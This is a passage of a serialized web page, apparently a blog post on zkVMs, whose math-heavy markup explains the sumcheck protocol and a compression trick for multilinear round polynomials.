",{"type":23,"tag":209,"props":109577,"children":109579},{"className":109578},[4076,4077],[109580],{"type":23,"tag":213,"props":109581,"children":109583},{"className":109582},[4082],[109584],{"type":23,"tag":213,"props":109585,"children":109587},{"className":109586,"ariaHidden":1710},[4087],[109588],{"type":23,"tag":213,"props":109589,"children":109591},{"className":109590},[4092],[109592,109596],{"type":23,"tag":213,"props":109593,"children":109595},{"className":109594,"style":108817},[4097],[],{"type":23,"tag":213,"props":109597,"children":109599},{"className":109598},[4103],[109600,109605],{"type":23,"tag":213,"props":109601,"children":109603},{"className":109602},[4103],[109604],{"type":28,"value":3221},{"type":23,"tag":213,"props":109606,"children":109608},{"className":109607},[4120],[109609],{"type":23,"tag":213,"props":109610,"children":109612},{"className":109611},[4125],[109613],{"type":23,"tag":213,"props":109614,"children":109616},{"className":109615},[4130],[109617],{"type":23,"tag":213,"props":109618,"children":109620},{"className":109619,"style":108817},[4135],[109621],{"type":23,"tag":213,"props":109622,"children":109623},{"style":4139},[109624,109628],{"type":23,"tag":213,"props":109625,"children":109627},{"className":109626,"style":4145},[4144],[],{"type":23,"tag":213,"props":109629,"children":109631},{"className":109630},[4150,4151,4152,4153],[109632],{"type":23,"tag":213,"props":109633,"children":109635},{"className":109634},[4103,21637,4153],[109636],{"type":28,"value":56456},{"type":28,"value":109638}," evaluations. This is exponentially expensive.",{"type":23,"tag":24,"props":109640,"children":109641},{},[109642,109644,109649],{"type":28,"value":109643},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":23,"tag":95,"props":109645,"children":109646},{},[109647],{"type":28,"value":109648},"only one",{"type":28,"value":124},{"type":23,"tag":24,"props":109651,"children":109652},{},[109653],{"type":23,"tag":4009,"props":109654,"children":109657},{"alt":109655,"src":109656},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":23,"tag":24,"props":109659,"children":109660},{},[109661,109663,109755,109757,109942,109944,109969,109971,110049,110051,110130],{"type":28,"value":109662},"In each round, the prover must send a polynomial ",{"type":23,"tag":209,"props":109664,"children":109666},{"className":109665},[4076,4077],[109667],{"type":23,"tag":213,"props":109668,"children":109670},{"className":109669},[4082],[109671],{"type":23,"tag":213,"props":109672,"children":109674},{"className":109673,"ariaHidden":1710},[4087],[109675],{"type":23,"tag":213,"props":109676,"children":109678},{"className":109677},[4092],[109679,109683,109740,109745,109750],{"type":23,"tag":213,"props":109680,"children":109682},{"className":109681,"style":4205},[4097],[],{"type":23,"tag":213,"props":109684,"children":109686},{"className":109685},[4103],[109687,109692],{"type":23,"tag":213,"props":109688,"children":109690},{"className":109689,"style":93586},[4103,21637],[109691],{"type":28,"value":109351},{"type":23,"tag":213,"props":109693,"children":109695},{"className":109694},[4120],[109696],{"type":23,"tag":213,"props":109697,"children":109699},{"className":109698},[4125,21691],[109700,109729],{"type":23,"tag":213,"props":109701,"children":109703},{"className":109702},[4130],[109704,109724],{"type":23,"tag":213,"props":109705,"children":109707},{"className":109706,"style":93629},[4135],[109708],{"type":23,"tag":213,"props":109709,"children":109710},{"style":93633},[109711,109715],{"type":23,"tag":213,"props":109712,"children":109714},{"className":109713,"style":4145},[4144],[],{"type":23,"tag":213,"props":109716,"children":109718},{"className":109717},[4150,4151,4152,4153],[109719],{"type":23,"tag":213,"props":109720,"children":109722},{"className":109721},[4103,21637,4153],[109723],{"type":28,"value":3826},{"type":23,"tag":213,"props":109725,"children":109727},{"className":109726},[21794],[109728],{"type":28,"value":21797},{"type":23,"tag":213,"props":109730,"children":109732},{"className":109731},[4130],[109733],{"type":23,"tag":213,"props":109734,"children":109736},{"className":109735,"style":93183},[4135],[109737],{"type":23,"tag":213,"props":109738,"children":109739},{},[],{"type":23,"tag":213,"props":109741,"children":109743},{"className":109742},[21766],[109744],{"type":28,"value":265},{"type":23,"tag":213,"props":109746,"children":109748},{"className":109747,"style":95120},[4103,21637],[109749],{"type":28,"value":6225},{"type":23,"tag":213,"props":109751,"children":109753},{"className":109752},[21788],[109754],{"type":28,"value":2121},{"type":28,"value":109756}," such that ",{"type":23,"tag":209,"props":109758,"children":109760},{"className":109759},[4076,4077],[109761],{"type":23,"tag":213,"props":109762,"children":109764},{"className":109763},[4082],[109765],{"type":23,"tag":213,"props":109766,"children":109768},{"className":109767,"ariaHidden":1710},[4087],[109769,109862],{"type":23,"tag":213,"props":109770,"children":109772},{"className":109771},[4092],[109773,109777,109834,109839,109844,109849,109853,109858],{"type":23,"tag":213,"props":109774,"children":109776},{"className":109775,"style":4205},[4097],[],{"type":23,"tag":213,"props":109778,"children":109780},{"className":109779},[4103],[109781,109786],{"type":23,"tag":213,"props":109782,"children":109784},{"className":109783,"style":93586},[4103,21637],[109785],{"type":28,"value":109351},{"type":23,"tag":213,"props":109787,"children":109789},{"className":109788},[4120],[109790],{"type":23,"tag":213,"props":109791,"children":109793},{"className":109792},[4125,21691],[109794,109823],{"type":23,"tag":213,"props":109795,"children":109797},{"className":109796},[4130],[109798,109818],{"type":23,"tag":213,"props":109799,"children":109801},{"className":109800,"style":93629},[4135],[109802],{"type":23,"tag":213,"props":109803,"children":109804},{"style":93633},[109805,109809],{"type":23,"tag":213,"props":109806,"children":109808},{"className":109807,"style":4145},[4144],[],{"type":23,"tag":213,"props":109810,"children":109812},{"className":109811},[4150,4151,4152,4153],[109813],{"type":23,"tag":213,"props":109814,"children":109816},{"className":109815},[4103,21637,4153],[109817],{"type":28,"value":3826},{"type":23,"tag":213,"props":109819,"children":109821},{"className":109820},[21794],[109822],{"type":28,"value":21797},{"type":23,"tag":213,"props":109824,"children":109826},{"className":109825},[4130],[109827],{"type":23,"tag":213,"props":109828,"children":109830},{"className":109829,"style":93183},[4135],[109831],{"type":23,"tag":213,"props":109832,"children":109833},{},[],{"type":23,"tag":213,"props":109835,"children":109837},{"className":109836},[21766],[109838],{"type":28,"value":265},{"type":23,"tag":213,"props":109840,"children":109842},{"className":109841},[4103],[109843],{"type":28,"value":4116},{"type":23,"tag":213,"props":109845,"children":109847},{"className":109846},[21788],[109848],{"type":28,"value":2121},{"type":23,"tag":213,"props":109850,"children":109852},{"className":109851,"style":4185},[4184],[],{"type":23,"tag":213,"props":109854,"children":109856},{"className":109855},[4190],[109857],{"type":28,"value":2703},{"type":23,"tag":213,"props":109859,"children":109861},{"className":109860,"style":4185},[4184],[],{"type":23,"tag":213,"props":109863,"children":109865},{"className":109864},[4092],[109866,109870,109927,109932,109937],{"type":23,"tag":213,"props":109867,"children":109869},{"className":109868,"style":4205},[4097],[],{"type":23,"tag":213,"props":109871,"children":109873},{"className":109872},[4103],[109874,109879],{"type":23,"tag":213,"props":109875,"children":109877},{"className":109876,"style":93586},[4103,21637],[109878],{"type":28,"value":109351},{"type":23,"tag":213,"props":109880,"children":109882},{"className":109881},[4120],[109883],{"type":23,"tag":213,"props":109884,"children":109886},{"className":109885},[4125,21691],[109887,109916],{"type":23,"tag":213,"props":109888,"children":109890},{"className":109889},[4130],[109891,109911],{"type":23,"tag":213,"props":109892,"children":109894},{"className":109893,"style":93629},[4135],[109895],{"type":23,"tag":213,"props":109896,"children":109897},{"style":93633},[109898,109902],{"type":23,"tag":213,"props":109899,"children":109901},{"className":109900,"style":4145},[4144],[],{"type":23,"tag":213,"props":109903,"children":109905},{"className":109904},[4150,4151,4152,4153],[109906],{"type":23,"tag":213,"props":109907,"children":109909},{"className":109908},[4103,21637,4153],[109910],{"type":28,"value":3826},{"type":23,"tag":213,"props":109912,"children":109914},{"className":109913},[21794],[109915],{"type":28,"value":21797},{"type":23,"tag":213,"props":109917,"children":109919},{"className":109918},[4130],[109920],{"type":23,"tag":213,"props":109921,"children":109923},{"className":109922,"style":93183},[4135],[109924],{"type":23,"tag":213,"props":109925,"children":109926},{},[],{"type":23,"tag":213,"props":109928,"children":109930},{"className":109929},[21766],[109931],{"type":28,"value":265},{"type":23,"tag":213,"props":109933,"children":109935},{"className":109934},[4103],[109936],{"type":28,"value":4106},{"type":23,"tag":213,"props":109938,"children":109940},{"className":109939},[21788],[109941],{"type":28,"value":2121},{"type":28,"value":109943}," equals the previous claim. If the prover is lying about the original sum ",{"type":23,"tag":209,"props":109945,"children":109947},{"className":109946},[4076,4077],[109948],{"type":23,"tag":213,"props":109949,"children":109951},{"className":109950},[4082],[109952],{"type":23,"tag":213,"props":109953,"children":109955},{"className":109954,"ariaHidden":1710},[4087],[109956],{"type":23,"tag":213,"props":109957,"children":109959},{"className":109958},[4092],[109960,109964],{"type":23,"tag":213,"props":109961,"children":109963},{"className":109962,"style":21632},[4097],[],{"type":23,"tag":213,"props":109965,"children":109967},{"className":109966,"style":93334},[4103,21637],[109968],{"type":28,"value":93337},{"type":28,"value":109970},", then they must lie about ",{"type":23,"tag":209,"props":109972,"children":109974},{"className":109973},[4076,4077],[109975],{"type":23,"tag":213,"props":109976,"children":109978},{"className":109977},[4082],[109979],{"type":23,"tag":213,"props":109980,"children":109982},{"className":109981,"ariaHidden":1710},[4087],[109983],{"type":23,"tag":213,"props":109984,"children":109986},{"className":109985},[4092],[109987,109992],{"type":23,"tag":213,"props":109988,"children":109991},{"className":109989,"style":109990},[4097],"height:0.625em;vertical-align:-0.1944em;",[],{"type":23,"tag":213,"props":109993,"children":109995},{"className":109994},[4103],[109996,110001],{"type":23,"tag":213,"props":109997,"children":109999},{"className":109998,"style":93586},[4103,21637],[110000],{"type":28,"value":109351},{"type":23,"tag":213,"props":110002,"children":110004},{"className":110003},[4120],[110005],{"type":23,"tag":213,"props":110006,"children":110008},{"className":110007},[4125,21691],[110009,110038],{"type":23,"tag":213,"props":110010,"children":110012},{"className":110011},[4130],[110013,110033],{"type":23,"tag":213,"props":110014,"children":110016},{"className":110015,"style":93629},[4135],[110017],{"type":23,"tag":213,"props":110018,"children":110019},{"style":93633},[110020,110024],{"type":23,"tag":213,"props":110021,"children":110023},{"className":110022,"style":4145},[4144],[],{"type":23,"tag":213,"props":110025,"children":110027},{"className":110026},[4150,4151,4152,4153],[110028],{"type":23,"tag":213,"props":110029,"children":110031},{"className":110030},[4103,21637,4153],[110032],{"type":28,"value":3826},{"type":23,"tag":213,"props":110034,"children":110036},{"className":110035},[21794],[110037],{"type":28,"value":21797},{"type":23,"tag":213,"props":110039,"children":110041},{"className":110040},[4130],[110042],{"type":23,"tag":213,"props":110043,"children":110045},{"className":110044,"style":93183},[4135],[110046],{"type":23,"tag":213,"props":110047,"children":110048},{},[],{"type":28,"value":110050}," somewhere. But since the verifier picks a random ",{"type":23,"tag":209,"props":110052,"children":110054},{"className":110053},[4076,4077],[110055],{"type":23,"tag":213,"props":110056,"children":110058},{"className":110057},[4082],[110059],{"type":23,"tag":213,"props":110060,"children":110062},{"className":110061,"ariaHidden":1710},[4087],[110063],{"type":23,"tag":213,"props":110064,"children":110066},{"className":110065},[4092],[110067,110072],{"type":23,"tag":213,"props":110068,"children":110071},{"className":110069,"style":110070},[4097],"height:0.5806em;vertical-align:-0.15em;",[],{"type":23,"tag":213,"props":110073,"children":110075},{"className":110074},[4103],[110076,110081],{"type":23,"tag":213,"props":110077,"children":110079},{"className":110078,"style":93100},[4103,21637],[110080],{"type":28,"value":93919},{"type":23,"tag":213,"props":110082,"children":110084},{"className":110083},[4120],[110085],{"type":23,"tag":213,"props":110086,"children":110088},{"className":110087},[4125,21691],[110089,110119],{"type":23,"tag":213,"props":110090,"children":110092},{"className":110091},[4130],[110093,110114],{"type":23,"tag":213,"props":110094,"children":110096},{"className":110095,"style":93629},[4135],[110097],{"type":23,"tag":213,"props":110098,"children":110100},{"style":110099},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[110101,110105],{"type":23,"tag":213,"props":110102,"children":110104},{"className":110103,"style":4145},[4144],[],{"type":23,"tag":213,"props":110106,"children":110108},{"className":110107},[4150,4151,4152,4153],[110109],{"type":23,"tag":213,"props":110110,"children":110112},{"className":110111},[4103,21637,4153],[110113],{"type":28,"value":3826},{"type":23,"tag":213,"props":110115,"children":110117},{"className":110116},[21794],[110118],{"type":28,"value":21797},{"type":23,"tag":213,"props":110120,"children":110122},{"className":110121},[4130],[110123],{"type":23,"tag":213,"props":110124,"children":110126},{"className":110125,"style":93183},[4135],[110127],{"type":23,"tag":213,"props":110128,"children":110129},{},[],{"type":28,"value":110131},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":23,"tag":18945,"props":110133,"children":110135},{"id":110134},"the-compression-trick",[110136],{"type":28,"value":110137},"The Compression Trick",{"type":23,"tag":24,"props":110139,"children":110140},{},[110141,110143,110293,110295,110575],{"type":28,"value":110142},"For degree-1 (multilinear) polynomials, ",{"type":23,"tag":209,"props":110144,"children":110146},{"className":110145},[4076,4077],[110147],{"type":23,"tag":213,"props":110148,"children":110150},{"className":110149},[4082],[110151],{"type":23,"tag":213,"props":110152,"children":110154},{"className":110153,"ariaHidden":1710},[4087],[110155,110248,110275],{"type":23,"tag":213,"props":110156,"children":110158},{"className":110157},[4092],[110159,110163,110220,110225,110230,110235,110239,110244],{"type":23,"tag":213,"props":110160,"children":110162},{"className":110161,"style":4205},[4097],[],{"type":23,"tag":213,"props":110164,"children":110166},{"className":110165},[4103],[110167,110172],{"type":23,"tag":213,"props":110168,"children":110170},{"className":110169,"style":93586},[4103,21637],[110171],{"type":28,"value":109351},{"type":23,"tag":213,"props":110173,"children":110175},{"className":110174},[4120],[110176],{"type":23,"tag":213,"props":110177,"children":110179},{"className":110178},[4125,21691],[110180,110209],{"type":23,"tag":213,"props":110181,"children":110183},{"className":110182},[4130],[110184,110204],{"type":23,"tag":213,"props":110185,"children":110187},{"className":110186,"style":93629},[4135],[110188],{"type":23,"tag":213,"props":110189,"children":110190},{"style":93633},[110191,110195],{"type":23,"tag":213,"props":110192,"children":110194},{"className":110193,"style":4145},[4144],[],{"type":23,"tag":213,"props":110196,"children":110198},{"className":110197},[4150,4151,4152,4153],[110199],{"type":23,"tag":213,"props":110200,"children":110202},{"className":110201},[4103,21637,4153],[110203],{"type":28,"value":3826},{"type":23,"tag":213,"props":110205,"children":110207},{"className":110206},[21794],[110208],{"type":28,"value":21797},{"type":23,"tag":213,"props":110210,"children":110212},{"className":110211},[4130],[110213],{"type":23,"tag":213,"props":110214,"children":110216},{"className":110215,"style":93183},[4135],[110217],{"type":23,"tag":213,"props":110218,"children":110219},{},[],{"type":23,"tag":213,"props":110221,"children":110223},{"className":110222},[21766],[110224],{"type":28,"value":265},{"type":23,"tag":213,"props":110226,"children":110228},{"className":110227,"style":95120},[4103,21637],[110229],{"type":28,"value":6225},{"type":23,"tag":213,"props":110231,"children":110233},{"className":110232},[21788],[110234],{"type":28,"value":2121},{"type":23,"tag":213,"props":110236,"children":110238},{"className":110237,"style":4282},[4184],[],{"type":23,"tag":213,"props":110240,"children":110242},{"className":110241},[4287],[110243],{"type":28,"value":3190},{"type":23,"tag":213,"props":110245,"children":110247},{"className":110246,"style":4282},[4184],[],{"type":23,"tag":213,"props":110249,"children":110251},{"className":110250},[4092],[110252,110257,110262,110266,110271],{"type":23,"tag":213,"props":110253,"children":110256},{"className":110254,"style":110255},[4097],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":23,"tag":213,"props":110258,"children":110260},{"className":110259},[4103,21637],[110261],{"type":28,"value":36},{"type":23,"tag":213,"props":110263,"children":110265},{"className":110264,"style":4185},[4184],[],{"type":23,"tag":213,"props":110267,"children":110269},{"className":110268},[4190],[110270],{"type":28,"value":2703},{"type":23,"tag":213,"props":110272,"children":110274},{"className":110273,"style":4185},[4184],[],{"type":23,"tag":213,"props":110276,"children":110278},{"className":110277},[4092],[110279,110283,110288],{"type":23,"tag":213,"props":110280,"children":110282},{"className":110281,"style":93015},[4097],[],{"type":23,"tag":213,"props":110284,"children":110286},{"className":110285},[4103,21637],[110287],{"type":28,"value":3319},{"type":23,"tag":213,"props":110289,"children":110291},{"className":110290,"style":95120},[4103,21637],[110292],{"type":28,"value":6225},{"type":28,"value":110294}," has only two coefficients. Since the verifier knows ",{"type":23,"tag":209,"props":110296,"children":110298},{"className":110297},[4076,4077],[110299],{"type":23,"tag":213,"props":110300,"children":110302},{"className":110301},[4082],[110303],{"type":23,"tag":213,"props":110304,"children":110306},{"className":110305,"ariaHidden":1710},[4087],[110307,110400,110493],{"type":23,"tag":213,"props":110308,"children":110310},{"className":110309},[4092],[110311,110315,110372,110377,110382,110387,110391,110396],{"type":23,"tag":213,"props":110312,"children":110314},{"className":110313,"style":4205},[4097],[],{"type":23,"tag":213,"props":110316,"children":110318},{"className":110317},[4103],[110319,110324],{"type":23,"tag":213,"props":110320,"children":110322},{"className":110321,"style":93586},[4103,21637],[110323],{"type":28,"value":109351},{"type":23,"tag":213,"props":110325,"children":110327},{"className":110326},[4120],[110328],{"type":23,"tag":213,"props":110329,"children":110331},{"className":110330},[4125,21691],[110332,110361],{"type":23,"tag":213,"props":110333,"children":110335},{"className":110334},[4130],[110336,110356],{"type":23,"tag":213,"props":110337,"children":110339},{"className":110338,"style":93629},[4135],[110340],{"type":23,"tag":213,"props":110341,"children":110342},{"style":93633},[110343,110347],{"type":23,"tag":213,"props":110344,"children":110346},{"className":110345,"style":4145},[4144],[],{"type":23,"tag":213,"props":110348,"children":110350},{"className":110349},[4150,4151,4152,4153],[110351],{"type":23,"tag":213,"props":110352,"children":110354},{"className":110353},[4103,21637,4153],[110355],{"type":28,"value":3826},{"type":23,"tag":213,"props":110357,"children":110359},{"className":110358},[21794],[110360],{"type":28,"value":21797},{"type":23,"tag":213,"props":110362,"children":110364},{"className":110363},[4130],[110365],{"type":23,"tag":213,"props":110366,"children":110368},{"className":110367,"style":93183},[4135],[110369],{"type":23,"tag":213,"props":110370,"children":110371},{},[],{"type":23,"tag":213,"props":110373,"children":110375},{"className":110374},[21766],[110376],{"type":28,"value":265},{"type":23,"tag":213,"props":110378,"children":110380},{"className":110379},[4103],[110381],{"type":28,"value":4116},{"type":23,"tag":213,"props":110383,"children":110385},{"className":110384},[21788],[110386],{"type":28,"value":2121},{"type":23,"tag":213,"props":110388,"children":110390},{"className":110389,"style":4185},[4184],[],{"type":23,"tag":213,"props":110392,"children":110394},{"className":110393},[4190],[110395],{"type":28,"value":2703},{"type":23,"tag":213,"props":110397,"children":110399},{"className":110398,"style":4185},[4184],[],{"type":23,"tag":213,"props":110401,"children":110403},{"className":110402},[4092],[110404,110408,110465,110470,110475,110480,110484,110489],{"type":23,"tag":213,"props":110405,"children":110407},{"className":110406,"style":4205},[4097],[],{"type":23,"tag":213,"props":110409,"children":110411},{"className":110410},[4103],[110412,110417],{"type":23,"tag":213,"props":110413,"children":110415},{"className":110414,"style":93586},[4103,21637],[110416],{"type":28,"value":109351},{"type":23,"tag":213,"props":110418,"children":110420},{"className":110419},[4120],[110421],{"type":23,"tag":213,"props":110422,"children":110424},{"className":110423},[4125,21691],[110425,110454],{"type":23,"tag":213,"props":110426,"children":110428},{"className":110427},[4130],[110429,110449],{"type":23,"tag":213,"props":110430,"children":110432},{"className":110431,"style":93629},[4135],[110433],{"type":23,"tag":213,"props":110434,"children":110435},{"style":93633},[110436,110440],{"type":23,"tag":213,"props":110437,"children":110439},{"className":110438,"style":4145},[4144],[],{"type":23,"tag":213,"props":110441,"children":110443},{"className":110442},[4150,4151,4152,4153],[110444],{"type":23,"tag":213,"props":110445,"children":110447},{"className":110446},[4103,21637,4153],[110448],{"type":28,"value":3826},{"type":23,"tag":213,"props":110450,"children":110452},{"className":110451},[21794],[110453],{"type":28,"value":21797},{"type":23,"tag":213,"props":110455,"children":110457},{"className":110456},[4130],[110458],{"type":23,"tag":213,"props":110459,"children":110461},{"className":110460,"style":93183},[4135],[110462],{"type":23,"tag":213,"props":110463,"children":110464},{},[],{"type":23,"tag":213,"props":110466,"children":110468},{"className":110467},[21766],[110469],{"type":28,"value":265},{"type":23,"tag":213,"props":110471,"children":110473},{"className":110472},[4103],[110474],{"type":28,"value":4106},{"type":23,"tag":213,"props":110476,"children":110478},{"className":110477},[21788],[110479],{"type":28,"value":2121},{"type":23,"tag":213,"props":110481,"children":110483},{"className":110482,"style":4282},[4184],[],{"type":23,"tag":213,"props":110485,"children":110487},{"className":110486},[4287],[110488],{"type":28,"value":3190},{"type":23,"tag":213,"props":110490,"children":110492},{"className":110491,"style":4282},[4184],[],{"type":23,"tag":213,"props":110494,"children":110496},{"className":110495},[4092],[110497,110502],{"type":23,"tag":213,"props":110498,"children":110501},{"className":110499,"style":110500},[4097],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":23,"tag":213,"props":110503,"children":110505},{"className":110504},[4103],[110506,110511],{"type":23,"tag":213,"props":110507,"children":110509},{"className":110508,"style":93334},[4103,21637],[110510],{"type":28,"value":93337},{"type":23,"tag":213,"props":110512,"children":110514},{"className":110513},[4120],[110515],{"type":23,"tag":213,"props":110516,"children":110518},{"className":110517},[4125,21691],[110519,110563],{"type":23,"tag":213,"props":110520,"children":110522},{"className":110521},[4130],[110523,110558],{"type":23,"tag":213,"props":110524,"children":110526},{"className":110525,"style":93629},[4135],[110527],{"type":23,"tag":213,"props":110528,"children":110530},{"style":110529},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[110531,110535],{"type":23,"tag":213,"props":110532,"children":110534},{"className":110533,"style":4145},[4144],[],{"type":23,"tag":213,"props":110536,"children":110538},{"className":110537},[4150,4151,4152,4153],[110539],{"type":23,"tag":213,"props":110540,"children":110542},{"className":110541},[4103,4153],[110543,110548,110553],{"type":23,"tag":213,"props":110544,"children":110546},{"className":110545},[4103,21637,4153],[110547],{"type":28,"value":3826},{"type":23,"tag":213,"props":110549,"children":110551},{"className":110550},[4190,4153],[110552],{"type":28,"value":4164},{"type":23,"tag":213,"props":110554,"children":110556},{"className":110555},[4103,4153],[110557],{"type":28,"value":4106},{"type":23,"tag":213,"props":110559,"children":110561},{"className":110560},[21794],[110562],{"type":28,"value":21797},{"type":23,"tag":213,"props":110564,"children":110566},{"className":110565},[4130],[110567],{"type":23,"tag":213,"props":110568,"children":110571},{"className":110569,"style":110570},[4135],"height:0.2083em;",[110572],{"type":23,"tag":213,"props":110573,"children":110574},{},[],{"type":28,"value":110576}," (the previous claim), we have:",{"type":23,"tag":24,"props":110578,"children":110579},{},[110580],{"type":23,"tag":209,"props":110581,"children":110583},{"className":110582},[4076,4077],[110584],{"type":23,"tag":213,"props":110585,"children":110587},{"className":110586},[4082],[110588],{"type":23,"tag":213,"props":110589,"children":110591},{"className":110590,"ariaHidden":1710},[4087],[110592,110618,110649,110680,110781,110807,110899],{"type":23,"tag":213,"props":110593,"children":110595},{"className":110594},[4092],[110596,110600,110605,110609,110614],{"type":23,"tag":213,"props":110597,"children":110599},{"className":110598,"style":110255},[4097],[],{"type":23,"tag":213,"props":110601,"children":110603},{"className":110602},[4103,21637],[110604],{"type":28,"value":36},{"type":23,"tag":213,"props":110606,"children":110608},{"className":110607,"style":4185},[4184],[],{"type":23,"tag":213,"props":110610,"children":110612},{"className":110611},[4190],[110613],{"type":28,"value":2703},{"type":23,"tag":213,"props":110615,"children":110617},{"className":110616,"style":4185},[4184],[],{"type":23,"tag":213,"props":110619,"children":110621},{"className":110620},[4092],[110622,110626,110631,110636,110640,110645],{"type":23,"tag":213,"props":110623,"children":110625},{"className":110624,"style":4205},[4097],[],{"type":23,"tag":213,"props":110627,"children":110629},{"className":110628},[21766],[110630],{"type":28,"value":265},{"type":23,"tag":213,"props":110632,"children":110634},{"className":110633},[4103,21637],[110635],{"type":28,"value":36},{"type":23,"tag":213,"props":110637,"children":110639},{"className":110638,"style":4185},[4184],[],{"type":23,"tag":213,"props":110641,"children":110643},{"className":110642},[4190],[110644],{"type":28,"value":2703},{"type":23,"tag":213,"props":110646,"children":110648},{"className":110647,"style":4185},[4184],[],{"type":23,"tag":213,"props":110650,"children":110652},{"className":110651},[4092],[110653,110657,110662,110667,110671,110676],{"type":23,"tag":213,"props":110654,"children":110656},{"className":110655,"style":4205},[4097],[],{"type":23,"tag":213,"props":110658,"children":110660},{"className":110659},[4103,21637],[110661],{"type":28,"value":3319},{"type":23,"tag":213,"props":110663,"children":110665},{"className":110664},[21788],[110666],{"type":28,"value":2121},{"type":23,"tag":213,"props":110668,"children":110670},{"className":110669,"style":4282},[4184],[],{"type":23,"tag":213,"props":110672,"children":110674},{"className":110673},[4287],[110675],{"type":28,"value":3190},{"type":23,"tag":213,"props":110677,"children":110679},{"className":110678,"style":4282},[4184],[],{"type":23,"tag":213,"props":110681,"children":110683},{"className":110682},[4092],[110684,110688,110759,110763,110767,110773,110777],{"type":23,"tag":213,"props":110685,"children":110687},{"className":110686,"style":110500},[4097],[],{"type":23,"tag":213,"props":110689,"children":110691},{"className":110690},[4103],[110692,110697],{"type":23,"tag":213,"props":110693,"children":110695},{"className":110694,"style":93334},[4103,21637],[110696],{"type":28,"value":93337},{"type":23,"tag":213,"props":110698,"children":110700},{"className":110699},[4120],[110701],{"type":23,"tag":213,"props":110702,"children":110704},{"className":110703},[4125,21691],[110705,110748],{"type":23,"tag":213,"props":110706,"children":110708},{"className":110707},[4130],[110709,110743],{"type":23,"tag":213,"props":110710,"children":110712},{"className":110711,"style":93629},[4135],[110713],{"type":23,"tag":213,"props":110714,"children":110715},{"style":110529},[110716,110720],{"type":23,"tag":213,"props":110717,"children":110719},{"className":110718,"style":4145},[4144],[],{"type":23,"tag":213,"props":110721,"children":110723},{"className":110722},[4150,4151,4152,4153],[110724],{"type":23,"tag":213,"props":110725,"children":110727},{"className":110726},[4103,4153],[110728,110733,110738],{"type":23,"tag":213,"props":110729,"children":110731},{"className":110730},[4103,21637,4153],[110732],{"type":28,"value":3826},{"type":23,"tag":213,"props":110734,"children":110736},{"className":110735},[4190,4153],[110737],{"type":28,"value":4164},{"type":23,"tag":213,"props":110739,"children":110741},{"className":110740},[4103,4153],[110742],{"type":28,"value":4106},{"type":23,"tag":213,"props":110744,"children":110746},{"className":110745},[21794],[110747],{"type":28,"value":21797},{"type":23,"tag":213,"props":110749,"children":110751},{"className":110750},[4130],[110752],{"type":23,"tag":213,"props":110753,"children":110755},{"className":110754,"style":110570},[4135],[110756],{"type":23,"tag":213,"props":110757,"children":110758},{},[],{"type":23,"tag":213,"props":110760,"children":110762},{"className":110761,"style":4282},[4184],[],{"type":23,"tag":213,"props":110764,"children":110766},{"className":110765,"style":4282},[4184],[],{"type":23,"tag":213,"props":110768,"children":110770},{"className":110769},[4287],[110771],{"type":28,"value":110772},"⟹",{"type":23,"tag":213,"props":110774,"children":110776},{"className":110775,"style":4282},[4184],[],{"type":23,"tag":213,"props":110778,"children":110780},{"className":110779,"style":4282},[4184],[],{"type":23,"tag":213,"props":110782,"children":110784},{"className":110783},[4092],[110785,110789,110794,110798,110803],{"type":23,"tag":213,"props":110786,"children":110788},{"className":110787,"style":93015},[4097],[],{"type":23,"tag":213,"props":110790,"children":110792},{"className":110791},[4103,21637],[110793],{"type":28,"value":3319},{"type":23,"tag":213,"props":110795,"children":110797},{"className":110796,"style":4282},[4184],[],{"type":23,"tag":213,"props":110799,"children":110801},{"className":110800},[4287],[110802],{"type":28,"value":3190},{"type":23,"tag":213,"props":110804,"children":110806},{"className":110805,"style":4282},[4184],[],{"type":23,"tag":213,"props":110808,"children":110810},{"className":110809},[4092],[110811,110815,110886,110890,110895],{"type":23,"tag":213,"props":110812,"children":110814},{"className":110813,"style":110500},[4097],[],{"type":23,"tag":213,"props":110816,"children":110818},{"className":110817},[4103],[110819,110824],{"type":23,"tag":213,"props":110820,"children":110822},{"className":110821,"style":93334},[4103,21637],[110823],{"type":28,"value":93337},{"type":23,"tag":213,"props":110825,"children":110827},{"className":110826},[4120],[110828],{"type":23,"tag":213,"props":110829,"children":110831},{"className":110830},[4125,21691],[110832,110875],{"type":23,"tag":213,"props":110833,"children":110835},{"className":110834},[4130],[110836,110870],{"type":23,"tag":213,"props":110837,"children":110839},{"className":110838,"style":93629},[4135],[110840],{"type":23,"tag":213,"props":110841,"children":110842},{"style":110529},[110843,110847],{"type":23,"tag":213,"props":110844,"children":110846},{"className":110845,"style":4145},[4144],[],{"type":23,"tag":213,"props":110848,"children":110850},{"className":110849},[4150,4151,4152,4153],[110851],{"type":23,"tag":213,"props":110852,"children":110854},{"className":110853},[4103,4153],[110855,110860,110865],{"type":23,"tag":213,"props":110856,"children":110858},{"className":110857},[4103,21637,4153],[110859],{"type":28,"value":3826},{"type":23,"tag":213,"props":110861,"children":110863},{"className":110862},[4190,4153],[110864],{"type":28,"value":4164},{"type":23,"tag":213,"props":110866,"children":110868},{"className":110867},[4103,4153],[110869],{"type":28,"value":4106},{"type":23,"tag":213,"props":110871,"children":110873},{"className":110872},[21794],[110874],{"type":28,"value":21797},{"type":23,"tag":213,"props":110876,"children":110878},{"className":110877},[4130],[110879],{"type":23,"tag":213,"props":110880,"children":110882},{"className":110881,"style":110570},[4135],[110883],{"type":23,"tag":213,"props":110884,"children":110885},{},[],{"type":23,"tag":213,"props":110887,"children":110889},{"className":110888,"style":4185},[4184],[],{"type":23,"tag":213,"props":110891,"children":110893},{"className":110892},[4190],[110894],{"type":28,"value":4164},{"type":23,"tag":213,"props":110896,"children":110898},{"className":110897,"style":4185},[4184],[],{"type":23,"tag":213,"props":110900,"children":110902},{"className":110901},[4092],[110903,110907,110912],{"type":23,"tag":213,"props":110904,"children":110906},{"className":110905,"style":94131},[4097],[],{"type":23,"tag":213,"props":110908,"children":110910},{"className":110909},[4103],[110911],{"type":28,"value":3221},{"type":23,"tag":213,"props":110913,"children":110915},{"className":110914},[4103,21637],[110916],{"type":28,"value":36},{"type":23,"tag":24,"props":110918,"children":110919},{},[110920,110922,111041,111043,111068],{"type":28,"value":110921},"So the prover only sends 